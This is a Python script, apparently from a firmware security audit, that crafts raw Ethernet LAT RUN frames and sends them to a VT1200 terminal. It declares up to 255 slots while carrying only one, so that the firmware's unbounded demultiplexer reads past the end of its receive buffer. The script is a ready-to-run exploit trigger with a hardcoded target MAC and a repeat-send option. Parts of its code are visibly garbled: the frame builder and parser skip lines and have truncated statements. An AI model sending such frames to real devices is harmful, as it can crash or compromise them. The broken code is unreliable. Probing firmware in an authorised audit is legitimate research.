#!/usr/bin/env python3 """Craft and send LAT frames at the VT1200 to exercise the receive path. Finding A (see ../notes/lat-receive-audit.md): the firmware's demultiplexer at 0x16C44 walks `nbr_slots` (LAT header byte 1) slots with **no length bound** — its only exit is `index >= nbr_slots`, and the slot advance comes from the per-slot `byte_count` (LAT slot byte 2). So a RUN message can declare more slots (and/or bigger byte counts) than the frame actually carries, and the firmware will keep walking past the end of the received buffer, acting on whatever it finds. Wire layout (confirmed from lat/local/vt-session.pcap + packet-lat.c): Eth: dst(6) src(6) ethertype(0x6004) LAT+0 flags/type (master=0x02, message type = byte >> 2) LAT+1 nbr_slots LAT+2 dst circuit id (LE16) LAT+4 src circuit id (LE16) LAT+6 msg sequence LAT+7 msg acknowledgment LAT+8 dst slot id LAT+9 src slot id LAT+10 slot byte count LAT+11 credits(hi nibble) | slot type(lo nibble) LAT+12 slot data (byte_count bytes) ... next slot Usage: sudo python3 lat_probe.py --nbr-slots 255 --dry-run sudo python3 lat_probe.py --nbr-slots 255 --count 5 """ import argparse import socket import struct import sys ETHERTYPE_LAT = 0x6004 MASTER = 0x02 MSG_RUN = 0 SLOT_DATA_A = 0x0 SLOT_START = 0x9 SLOT_STOP = 0xA VT1200_MAC = "08:00:2b:16:4b:5a" def mac_bytes(s): return bytes(int(x, 16) for x in s.split(":")) def build_run(dst_mac, src_mac, nbr_slots, slots, dst_cir=0x0001, src_cir=0x5460, seq=0, ack=0): """Build an Ethernet+LAT RUN frame. `slots` is a list of (dst_slot, src_slot, byte_count, credits, slot_type, data). `nbr_slots` is written verbatim — set it larger than len(slots) to exercise the unbounded demultiplexer. """ lat = bytearray() lat.append(MASTER | (MSG_RUN << 2)) lat.append(nbr_slots & 0xFF) lat += struct.pack("H", ETHERTYPE_LAT) frame += lat if len(frame) < 60: # Ethernet minimum frame += b"\x00" * (60 - len(frame)) return bytes(frame) def parse_frame(frame): """Inverse of build_run, for tests and for reading captures.""" assert struct.unpack_from(">H", frame, 12)[0] == ETHERTYPE_LAT lat = frame[14:] out = { "flags": lat[0], "type": lat[0] >> 2, "master": bool(lat[0] & MASTER), "nbr_slots": lat[1], "dst_cir": struct.unpack_from(" len(lat): break ds, ss, bc, ct = lat[off], lat[off + 1], lat[off + 2], lat[off + 3] out["slots"].append((ds, ss, bc, ct >> 4, ct & 0xF, bytes(lat[off + 4:off + 4 + bc]))) off += 4 + bc return out def send(frame, iface): s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETHERTYPE_LAT)) s.bind((iface, 0)) s.send(frame) s.close() def main(argv=None): ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) ap.add_argument("--dst", default=VT1200_MAC, help="target MAC (the VT1200)") ap.add_argument("--src", default="2c:16:db:a0:e7:b1", help="source MAC (this host)") ap.add_argument("--iface", default="enp197s0f3u1") ap.add_argument("--nbr-slots", type=lambda s: int(s, 0), default=255, help="value written to the header nbr_slots (default 255)") ap.add_argument("--byte-count", type=lambda s: int(s, 0), default=4, help="byte_count for the single real slot (default 4)") ap.add_argument("--slot-type", type=lambda s: int(s, 0), default=SLOT_DATA_A, help="slot type for the real slot (0=Data_a)") ap.add_argument("--data", default="41414141", help="slot data, hex") ap.add_argument("--count", type=int, default=1, help="send N frames") ap.add_argument("--dst-cir", type=lambda s: int(s, 0), default=0x0001, help="destination circuit id (from the live capture)") ap.add_argument("--src-cir", type=lambda s: int(s, 0), default=0x5460, help="source circuit id (from the live capture)") ap.add_argument("--seq", type=lambda s: int(s, 0), default=0) ap.add_argument("--ack", type=lambda s: int(s, 0), default=0) ap.add_argument("--dry-run", action="store_true", help="print, do not send") args = ap.parse_args(argv) real_slots = [(1, 1, args.byte_count, 0, args.slot_type, bytes.fromhex(args.data))] frame = build_run(args.dst, args.src, args.nbr_slots, real_slots, dst_cir=args.dst_cir, src_cir=args.src_cir, seq=args.seq, ack=args.ack) print(f"frame: {len(frame)} bytes; nbr_slots={args.nbr_slots} " f"but only {len(real_slots)} slot(s) present " f"({args.byte_count} data bytes) -> demux walks " f"{args.nbr_slots - len(real_slots)} past the end") print(" " + frame[14:14 + 32].hex(" ")) if args.dry_run: print("(dry run: not sent)") return 0 for i in range(args.count): send(frame, args.iface) print(f" sent {i + 1}/{args.count}") return 0 if __name__ == "__main__": sys.exit(main())